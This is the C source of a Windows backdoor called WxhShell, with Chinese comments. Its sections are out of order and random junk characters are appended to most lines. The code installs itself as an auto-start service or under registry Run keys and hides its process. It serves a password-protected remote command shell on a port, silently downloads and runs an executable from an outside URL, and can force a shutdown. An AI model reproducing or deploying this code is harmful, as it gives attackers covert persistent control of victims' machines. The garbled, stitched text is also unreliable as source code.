  // 关机 ~d3|zlh  
  case 'd': { cw,|,uXq 6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]K'OH&  
    if(Boot(SHUTDOWN)) 0RjFa;j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!lKP>  
    else { AyNpY_B0c  
    closesocket(wsh); v|KGzQx$.*  
    ExitThread(0);  nvCp-Z$  
    } EiDnUL(W7h  
    break; Ng2Z7k  
    } ,9M2'6=  
  // 获取shell :Q,~Nw>  
  case 's': { @?jbah#  
    CmdShell(wsh); ;Y,zlq2  
    closesocket(wsh); e8E'X  
    ExitThread(0); XmaRg{22  
    break; icQQLSU5  
  } ($Op*bR  
  // 退出 e)y+]  
  case 'x': { /#z"c]#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9C8 G(r  
    CloseIt(wsh); $o. ;}  
    break; T[I7.8g  
    } bXeJk]#y  
  // 离开 86eaX+F  
  case 'q': { 5|7<ZL 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k(M"k!M  
    closesocket(wsh); O)ose?Z  
    WSACleanup(); AV4fN@BX  
    exit(1); XSCcumde!  
    break; @ M4m!;rM  
        } M~h.M PI  
  } A)gSOC{3F)  
  } .mNw^>:cq  
Z&4L///  
  // 提示信息 w5yX~8UzJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0|]d^bo  
} LqXVi80  
  } 3<l}gB'S[  
K,6{c^qf  
  return; v0TbQ  
} >oN Wf  
}]M'f:%b  
// shell模块句柄 7[mP@ {  
int CmdShell(SOCKET sock) /bn$@Cy@  
{ F2MC)&#  
STARTUPINFO si; 4\ |/S@.  
ZeroMemory(&si,sizeof(si)); DZ1.Bm0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5i}g$yjZ<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; upaQoX/C  
PROCESS_INFORMATION ProcessInfo; ;<GK{8  
char cmdline[]="cmd"; {>PEl; ,-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B873UN  
  return 0; ~N/a\%`  
} *&I _fAh]  
>K&chg@Hv  
// 自身启动模式 .'.bokl/  
int StartFromService(void) ?p/}eRgi  
{ EM@EB< pRX  
typedef struct H!6+x*P0  
{ (sI`FW_  
  DWORD ExitStatus; hT,rcIkg:  
  DWORD PebBaseAddress; '? -N  
  DWORD AffinityMask; 5wdKu,nq  
  DWORD BasePriority; P_b!^sq9  
  ULONG UniqueProcessId; w ~"%&SNN  
  ULONG InheritedFromUniqueProcessId; E^gN]Z"O  
}   PROCESS_BASIC_INFORMATION; `Kn+d~S4  
2.=G  
PROCNTQSIP NtQueryInformationProcess; >$yA ,N  
cW_l|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q!+:zZu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]NtBP  
'r(g5H1}gi  
  HANDLE             hProcess; ..k8HFz>"  
  PROCESS_BASIC_INFORMATION pbi; Kv:Rvo  
+sTPTCLE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); = y(*?TZH  
  if(NULL == hInst ) return 0; miTff[hsMa  
$iMLT8U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qg]A^{.1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V rd16s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T@`Al('  
19-V;F@;  
  if (!NtQueryInformationProcess) return 0; m`n~-_  
SjY|aW+wAL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R#.H&#  
  if(!hProcess) return 0; ,KD?kSIf  
y"ss<`Cn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WbBd<^Q  
Rry] 6(  
  CloseHandle(hProcess); Zy.ls&<:  
|:Maa6(W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %rgW}Z5  
if(hProcess==NULL) return 0; NZ0?0*  
`S5::U6E  
HMODULE hMod; 8h4]<T  
char procName[255]; %3|/t-US  
unsigned long cbNeeded; I.(@#v7T  
].5q,A]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qX; F+~  
C^5 V  
  CloseHandle(hProcess); 5W&L cBB  
>M!LC  
if(strstr(procName,"services")) return 1; // 以服务启动 Bd)Cijr  
_ h1eW9q  
  return 0; // 注册表启动 #d*gWwnx"  
} "vQ%` Q  
_uL[ Z  
// 主模块 _Gaem"k|  
int StartWxhshell(LPSTR lpCmdLine) vF pKkS343  
{ ,!GoFu  
  SOCKET wsl; =J]EVD   
BOOL val=TRUE; o)n)Z~  
  int port=0; 12hD*,A5j  
  struct sockaddr_in door; Rm79mh9  
}p)Hw2  
  if(wscfg.ws_autoins) Install(); 7:Rt) EE2  
6 >;OVX  
port=atoi(lpCmdLine); 4[JF.O6}  
H?M:<q0|G  
if(port<=0) port=wscfg.ws_port; K/*"U*9Kv  
sLJ]N0t  
  WSADATA data; b SgbvnJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^);M}~  
{fHY[8su0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mvc ;.+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >;Vfs{Z(q  
  door.sin_family = AF_INET; JC-> eY"O2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vr{|ubG]d  
  door.sin_port = htons(port); /\uopa  
={ -kQq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CDXN%~0h  
closesocket(wsl); ~Dz:n]Vk/  
return 1; n}e%c B  
} Hm!"%  
9L3P'!Z  
  if(listen(wsl,2) == INVALID_SOCKET) { }!>\Ja<\  
closesocket(wsl); "aI)LlyCY  
return 1; ebNRZJ?C,  
} %t!r pyD  
  Wxhshell(wsl); TOKt{`2}  
  WSACleanup(); ~TXu20c  
p-)@#hE  
return 0; pX*E(Q)@!  
3D!7,@&>3  
} $ta JVVF  
4&%H;Q  
// 以NT服务方式启动 \}u/0UF97  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (Cq 38~mR  
{ ?wv3HN  
DWORD   status = 0; Vn:v{-i  
  DWORD   specificError = 0xfffffff; l;A'^  
\v\ONp"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; );TB(PQsBT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dY0W=,X$7T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5pDE!6gQ  
  serviceStatus.dwWin32ExitCode     = 0; 2-N7%]h  
  serviceStatus.dwServiceSpecificExitCode = 0; mwsBj)  
  serviceStatus.dwCheckPoint       = 0; "=C~I W  
  serviceStatus.dwWaitHint       = 0; :AFU5mR4&  
T ,!CDm$=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u,`3_I^  
  if (hServiceStatusHandle==0) return; N~IAm:G}[  
9+@z:j  
status = GetLastError(); 0V]MAuD($  
  if (status!=NO_ERROR) NB'G{),)Z  
{ qLb~^'<iD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \b"|p%CL8  
    serviceStatus.dwCheckPoint       = 0; hEZo{0:b"  
    serviceStatus.dwWaitHint       = 0; 9I [:#,zdf  
    serviceStatus.dwWin32ExitCode     = status; 50Gu~No6  
    serviceStatus.dwServiceSpecificExitCode = specificError; !\d~9H%`B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zjcSn7iu  
    return; f{O-\  
  } KehM.c^  
zDtC]y'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >R6mI  
  serviceStatus.dwCheckPoint       = 0; zA+0jhuG  
  serviceStatus.dwWaitHint       = 0; O;V^Fk(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~xc/Dsb$  
} &[j9Up'   
')yYpWO  
// 处理NT服务事件,比如:启动、停止 Vj1V;dHv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~}d\sQF .  
{ A-3^~aEgx  
switch(fdwControl) J(!=Dno  
{ 7A'E+>1d  
case SERVICE_CONTROL_STOP: e&:%Rr]x  
  serviceStatus.dwWin32ExitCode = 0; L'`Au/%S}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v?6*n >R  
  serviceStatus.dwCheckPoint   = 0; KaOXqFT=  
  serviceStatus.dwWaitHint     = 0; }Rh%bf7,  
  { 'U ZzH$h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "s]  
  } XRQ1Uh6  
  return; Uf7ACv)Dn  
case SERVICE_CONTROL_PAUSE: "fhQ{b$i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YIZu{  
  break; <A|z   
case SERVICE_CONTROL_CONTINUE: RFFbS{U*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b&4JHyleF  
  break; OvwoU=u  
case SERVICE_CONTROL_INTERROGATE: )CE]s)6+2  
  break;  !O`j  
}; p< 0=. ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -EFdP]XO  
} :eD-'#@$u  
/4+Q; P  
// 标准应用程序主函数 na9YlJ\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \<xo`2b  
{ 0g=vMLi  
3WwCo.q;m  
// 获取操作系统版本 us1$  
OsIsNt=GetOsVer(); <"`f!k#[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F;_o `h  
Qx|HvT2P  
  // 从命令行安装 toPFkc6`  
  if(strpbrk(lpCmdLine,"iI")) Install(); LE5N2k  
:%Iv<d<  
  // 下载执行文件 J"GsdLG.-  
if(wscfg.ws_downexe) { qc)+T_m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tl*v(ZW  
  WinExec(wscfg.ws_filenam,SW_HIDE); T|h!06   
} }S')!3[G  
XY9%aT*  
if(!OsIsNt) { $0P16ZlPC  
// 如果时win9x,隐藏进程并且设置为注册表启动 D$H&^,?N  
HideProc(); ''q;yKpaz  
StartWxhshell(lpCmdLine); Eul3 {+]  
} s 72yu}  
else &FOq c  
  if(StartFromService()) ht6}v<x.eA  
  // 以服务方式启动 6(htpT%J  
  StartServiceCtrlDispatcher(DispatchTable); CKe72OC  
else gp 11/ .  
  // 普通方式启动 Q7F4OS5b  
  StartWxhshell(lpCmdLine); m8F \ESL  
e]; IQ|  
return 0; |E$q S)y  
} 33eOM(`D[  
*sB'D+-/  
+lFBH(o]X  
l*w'  O  
=========================================== b%"/8rK  
` -SC,qHw  
y,1U]1TP  
,|?#+O{  
x5smJ__/  
K%/\XnCY  
" gN(kRhp  
F g):>];<9  
#include <stdio.h> N.]~%)K:{  
#include <string.h> Yc~lYz+b  
#include <windows.h> z(O*DwY#  
#include <winsock2.h> ^2%)Nq;O  
#include <winsvc.h> 9{S$%D  
#include <urlmon.h> }uaFmXy3  
PGxv4(%  
#pragma comment (lib, "Ws2_32.lib") y0O e)oP  
#pragma comment (lib, "urlmon.lib") %G6x\[,  
l& sEdEA  
#define MAX_USER   100 // 最大客户端连接数 a Iyzt  
#define BUF_SOCK   200 // sock buffer -AVT+RE9z  
#define KEY_BUFF   255 // 输入 buffer )>Z@')Uk:  
Mg8ciV}\xY  
#define REBOOT     0   // 重启 l<S3<'&  
#define SHUTDOWN   1   // 关机 ]{{%d4  
Rc D5X{qS#  
#define DEF_PORT   5000 // 监听端口 fwzyCbks  
BonjK#  
#define REG_LEN     16   // 注册表键长度 =F/R*5:T  
#define SVC_LEN     80   // NT服务名长度 i Pl/I  
zp'hA  
// 从dll定义API (M{wkQTO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |d6/gSiF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;O,&MR{;|n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =)i^E9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y Kp@ n8A  
L.K|]]u  
// wxhshell配置信息 mKV31wvK}  
struct WSCFG { pK_zq  
  int ws_port;         // 监听端口 rij%l+%@#  
  char ws_passstr[REG_LEN]; // 口令 ~mah.8G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'aD"v>  
  char ws_regname[REG_LEN]; // 注册表键名 Wie0r@5E  
  char ws_svcname[REG_LEN]; // 服务名 F8tMZ,:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .ty2! .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5RO6YxQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ).u>%4=6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /Hm/%os  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }lJ|nl`c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =*+f2  
8<Yv:8%B6  
}; > 9z-/e  
vKdS1Dn1  
// default Wxhshell configuration g?}h*~<b  
struct WSCFG wscfg={DEF_PORT, TBF{@{.d  
    "xuhuanlingzhe", ,1<6=vL  
    1, "OkZ [E)  
    "Wxhshell", ix?Z:pIS0  
    "Wxhshell", rXTdhw?+  
            "WxhShell Service", "av/a   
    "Wrsky Windows CmdShell Service", e9S*^2;  
    "Please Input Your Password: ", \fUVWXv  
  1, wu{%gtx/;^  
  "http://www.wrsky.com/wxhshell.exe", -H_#et3&i  
  "Wxhshell.exe" k!+v*+R+V  
    }; 7pep\  
}PDtx:T-  
// 消息定义模块 9nlj{(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6*>vie  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]:?hU^H]<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i{Q,>Rt  
char *msg_ws_ext="\n\rExit."; 7Ot&]M  
char *msg_ws_end="\n\rQuit."; ?G&J_L=@Y  
char *msg_ws_boot="\n\rReboot..."; Dp^=%F{t  
char *msg_ws_poff="\n\rShutdown..."; ~:_10g]r  
char *msg_ws_down="\n\rSave to "; TDg<&ND3  
XC/M:2$  
char *msg_ws_err="\n\rErr!"; Z%3)w.  
char *msg_ws_ok="\n\rOK!"; NJoHrhC='  
QOJ5  
char ExeFile[MAX_PATH]; | ObA=[j  
int nUser = 0; 8zJye6f;l  
HANDLE handles[MAX_USER]; MfFmJ7>Bg  
int OsIsNt; f|s,%AU"i  
7(LB}  
SERVICE_STATUS       serviceStatus; OH 88d:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W7~OU(}[`  
B&*`A&^y  
// 函数声明 pg<c vok  
int Install(void); P{2ED1T\  
int Uninstall(void); $3970ni,?O  
int DownloadFile(char *sURL, SOCKET wsh); ;\/ RgN  
int Boot(int flag); ~_-+Q=3  
void HideProc(void); {K/xI  
int GetOsVer(void); i5*/ZA_  
int Wxhshell(SOCKET wsl); !g~u'r'1  
void TalkWithClient(void *cs); O4a~(*f  
int CmdShell(SOCKET sock); a][Tb0Ox  
int StartFromService(void); [Mv'*.7  
int StartWxhshell(LPSTR lpCmdLine); poqNiOm4%  
HGj[\kU~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#ywUEY* i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y,<\d/YY@  
"*d%el\63  
// 数据结构和表定义 %]F{aR  
SERVICE_TABLE_ENTRY DispatchTable[] = /KO2y0`  
{ ?i~mt'O  
{wscfg.ws_svcname, NTServiceMain}, 6gq`V,  
{NULL, NULL} nK]L0*s  
}; f~p[izt  
bD 1IY1  
// 自我安装 @_;vE(!5  
int Install(void) o O1Fw1Y  
{ i^}DIx{  
  char svExeFile[MAX_PATH]; :pP l|"  
  HKEY key; $f6wmI;<y  
  strcpy(svExeFile,ExeFile); de"+ABR  
86Xf6Ea  
// 如果是win9x系统,修改注册表设为自启动 T(+*y  
if(!OsIsNt) { f2Tz5slE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I[LHJ4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TP=#U^g*  
  RegCloseKey(key); 5 ^tetDz}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H|;BT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3J^'x  
  RegCloseKey(key); f kdJgK  
  return 0; %b ^.Gw\L  
    } xw1n;IO4  
  } U,~Z2L  
} sbFA{l3   
else { nh"LdHqiDB  
%#lJn.o  
// 如果是NT以上系统,安装为系统服务 j5 W)9HW:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {w9GMqq  
if (schSCManager!=0) vH?3UW  
{ YJ01-  
  SC_HANDLE schService = CreateService >#xIqxV,  
  ( Z&J.8A]L  
  schSCManager, =l}XKl->  
  wscfg.ws_svcname, ~NwX,-ri  
  wscfg.ws_svcdisp, )TkXdA?.  
  SERVICE_ALL_ACCESS, 82=>I*0Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mH4Jl1S&  
  SERVICE_AUTO_START, yd`f<Hr<m  
  SERVICE_ERROR_NORMAL, 'c/Z W  
  svExeFile, 2&:w_KJ  
  NULL, E uk[ @1  
  NULL, k'1i quc#u  
  NULL, !O/(._YB`  
  NULL, qMcOSZ%8J  
  NULL f\vg<lca  
  ); 3*<~;Z' z4  
  if (schService!=0) EwOi` g  
  { E#M4{a1  
  CloseServiceHandle(schService); V#d8fRm  
  CloseServiceHandle(schSCManager); _R|8_#yM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _/a8X:[(  
  strcat(svExeFile,wscfg.ws_svcname); Ap%tm)@1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @-jI<g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1\if XJ  
  RegCloseKey(key);  )9$>i5l  
  return 0; ADlLodG  
    } ,*{9g6  
  } `bRt_XGPmF  
  CloseServiceHandle(schSCManager); os`#:Ao5  
} >l0D,-O]m  
} rY(h }z  
J [ 4IO  
return 1; >^+c s^jCM  
} <a$'tw-8  
uI_h__  
// 自我卸载 lEiOE]  
int Uninstall(void) ]`O??wN  
{ w!/se;_H+w  
  HKEY key; .c2Zr|X  
ZHOh(  
if(!OsIsNt) { tCP;IU$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DTSK*a`  
  RegDeleteValue(key,wscfg.ws_regname); 'wP\VCL2>  
  RegCloseKey(key); a*KJjl?k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pksF| VS  
  RegDeleteValue(key,wscfg.ws_regname); )\Ay4 d  
  RegCloseKey(key); W{*w<a_ `  
  return 0; .VfBwTh7q8  
  } OLgW .j:Ag  
} [n9X5qG~  
} Q.])En >i  
else { ~;B@ {kFY)  
F\hU V[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b:>t1S Ul  
if (schSCManager!=0) FaE,rzn)iD  
{ LuUfdzH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !&8HA   
  if (schService!=0) xO` O$ie  
  { Oxhc!9F  
  if(DeleteService(schService)!=0) { dQH9NsV7g  
  CloseServiceHandle(schService); P[bj {lo  
  CloseServiceHandle(schSCManager); J+20]jI  
  return 0; #[aHKq:?b  
  } I^yInrRh5  
  CloseServiceHandle(schService); uf&Ke k,  
  } ~xP4}gs1  
  CloseServiceHandle(schSCManager); fp2.2 @[  
} I2<t?c:Pn<  
} 0!!z'm3  
v d}Y$X  
return 1; ]&RC<imq  
} 8 ,<F102(  
~xaPq=AH  
// 从指定url下载文件 o+T %n1$+V  
int DownloadFile(char *sURL, SOCKET wsh) 8<Yqpb  
{ 1{7*0cv$iL  
  HRESULT hr; 2YL)" w  
char seps[]= "/"; ;wvhe;!  
char *token; ;`MKi5g  
char *file; Vy giR|f-  
char myURL[MAX_PATH]; kw Iw=8q~  
char myFILE[MAX_PATH]; exQU  
6YeEr!zt%  
strcpy(myURL,sURL); 2wki21oY  
  token=strtok(myURL,seps); zw,=mpf3_  
  while(token!=NULL) V]$J&aD  
  { vfZ.js/  
    file=token; )"Vd8*e  
  token=strtok(NULL,seps); ,Rh6( I  
  } \ZPmPu9^(  
lYt|C^  
GetCurrentDirectory(MAX_PATH,myFILE); F 7~T=X)1  
strcat(myFILE, "\\"); 0qU Bt9rA  
strcat(myFILE, file); 2En^su$  
  send(wsh,myFILE,strlen(myFILE),0); 8KU5x#  
send(wsh,"...",3,0); ZdjmZx%%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b/eJEL  
  if(hr==S_OK) /^TXGc.  
return 0; XFU['BI  
else  "0( _  
return 1; 20XN5dTFT  
ggn:DE "  
} a*gzVE7W#n  
@3F4Lg6H|  
// 系统电源模块 -l# h^  
int Boot(int flag) c8cPGm#i  
{ vUU)zZB ~  
  HANDLE hToken; i`}nv,  
  TOKEN_PRIVILEGES tkp; R8U?s/*  
g*nh8  
  if(OsIsNt) { "}(g3Iy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k;bdzcMkQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QC+K:jL  
    tkp.PrivilegeCount = 1; eJ3w}"?9s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `x0GT\O2-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hH|moj]  
if(flag==REBOOT) { ..g?po  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,xeJf6es  
  return 0; nr t3wqJ  
} r(#]Z   
else { 9+o`/lk1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O-D${==  
  return 0; YA vOV-L  
} gLyE,1Z}u  
  } 18xT2f  
  else { quPNwNy  
if(flag==REBOOT) { _Bp{~-fO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qg\{d)X[N  
  return 0; SQ_w~'(  
} l6wN&JHTh  
else { uGxh}'&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  gh{Z=_  
  return 0; */ ~_3  
} vCB0 x:/  
} NQx`u"=  
n7r )wy  
return 1; bvK fxAih  
} d 1 8>0R  
};z[x2l^  
// win9x进程隐藏模块 &u@<0 1=  
void HideProc(void) I|27%i  
{ TNHkHR[&  
X?'v FC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (rM-~h6g  
  if ( hKernel != NULL ) ,'E+f%  
  { #H;yXsR `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y]5c!N %8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j6NK 7Li  
    FreeLibrary(hKernel); 2Bf]#l{z  
  } GjmPpKIu\  
$T)EJe  
return; Sas &P:# r  
} $i^#KZ}-WK  
2th>+M~A  
// 获取操作系统版本 /R2K3E#  
int GetOsVer(void) W.fsW<{4j  
{ 1I{^]]qw  
  OSVERSIONINFO winfo; B`Q~p 92  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)Is:LhS  
  GetVersionEx(&winfo); BO3#*J5S\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |V 3AA   
  return 1; {g%F 3-  
  else Dp5hr8bT  
  return 0; bP4<q?FKcN  
} -/k;VT|  
X~`<ik{q  
// 客户端句柄模块 *Z+8L*k97  
int Wxhshell(SOCKET wsl) jI-\~  
{ ]Ywj@-*q  
  SOCKET wsh; SP,#KyWP0)  
  struct sockaddr_in client; UY)e6 Zd  
  DWORD myID; 9&>)4HNd?  
km)5?  
  while(nUser<MAX_USER) w A0 $d  
{ o]#M8)=  
  int nSize=sizeof(client); XpFo SW#K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E7_)P>aS5  
  if(wsh==INVALID_SOCKET) return 1; : " ([i"  
Vz"Ja  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K,VN?t <h  
if(handles[nUser]==0) ) N8 [@  
  closesocket(wsh); 5iG+O4n%  
else Hq[vh7Lux  
  nUser++; 'g4t !__  
  } 1qR[& =/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dFu<h   
~F</ s.  
  return 0; 'pJ46"D@m  
} L=7 U#Q/DE  
VI}.MnCa  
// 关闭 socket Ux<2!vh  
void CloseIt(SOCKET wsh) tAPr4n!  
{ cWd\Ki  
closesocket(wsh); Ac0^`  
nUser--; 5BL4VGwJ  
ExitThread(0); Lq&;`)BJ  
} `W3;LTPEb  
S690Y]:h$v  
// 客户端请求句柄 h\jV@g$  
void TalkWithClient(void *cs) wTpjM@F?J|  
{ [@l:C\2  
\Bg;^6U  
  SOCKET wsh=(SOCKET)cs; ),G?f {`!  
  char pwd[SVC_LEN]; 5pOb;ry")`  
  char cmd[KEY_BUFF]; q,ry3Nr4n  
char chr[1]; k63]Qf=5?N  
int i,j; +w(sDH~kd  
jLANv{"  
  while (nUser < MAX_USER) { w3l+BUn:X  
P4M*vZq)  
if(wscfg.ws_passstr) { 3$.R=MQ7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }mz6z<pJ_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *r b/BZX{  
  //ZeroMemory(pwd,KEY_BUFF); x6, #Jp  
      i=0; /EN3>25"#  
  while(i<SVC_LEN) { *1}UK9X;  
O#}'QZd'  
  // 设置超时 $_j\b4]%  
  fd_set FdRead; qdlz#-B  
  struct timeval TimeOut; .,)C^hs@  
  FD_ZERO(&FdRead); Dlc=[kf9  
  FD_SET(wsh,&FdRead); mSw$? >  
  TimeOut.tv_sec=8; l>KkK|!T^i  
  TimeOut.tv_usec=0; 0@FZQ$-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }b// oe7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cr!}qZq  
FC'v= *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gUfLw  
  pwd=chr[0]; nLA8Hy"8z  
  if(chr[0]==0xd || chr[0]==0xa) { %n^jho5  
  pwd=0; /M:R|91:_  
  break; h  0EpW5  
  } n9Mi?#xIp  
  i++; {,Y?+F  
    } e|`QW|9 .  
&\3k(j  
  // 如果是非法用户,关闭 socket x*8lz\w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U"1z"PcV  
} c$cb2V7,  
c.-/e u^|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #].n0[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R]0p L   
YLr<^G-v  
while(1) { aV^wTs#2I  
8Z=d+}Gg<  
  ZeroMemory(cmd,KEY_BUFF); C*;g!~{  
 aOS:rC  
      // 自动支持客户端 telnet标准   + _=&7  
  j=0; $ekB+ t:cj  
  while(j<KEY_BUFF) { Lo'P;Sb4<}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}:9y6QR.  
  cmd[j]=chr[0]; Y9b|lP7!  
  if(chr[0]==0xa || chr[0]==0xd) { uQ^r1 $#  
  cmd[j]=0; r<Il;?S6  
  break; we6kV-L.  
  } n=HId:XT  
  j++; `Qf$]Eoft  
    } "bO\Wt#Mf  
s 0}OsHAj  
  // 下载文件 7pB5o2CD0  
  if(strstr(cmd,"http://")) { n*tT <  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  2 EG`  
  if(DownloadFile(cmd,wsh)) *O>OHX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '$5.{o`s*1  
  else a ?LrSk`  
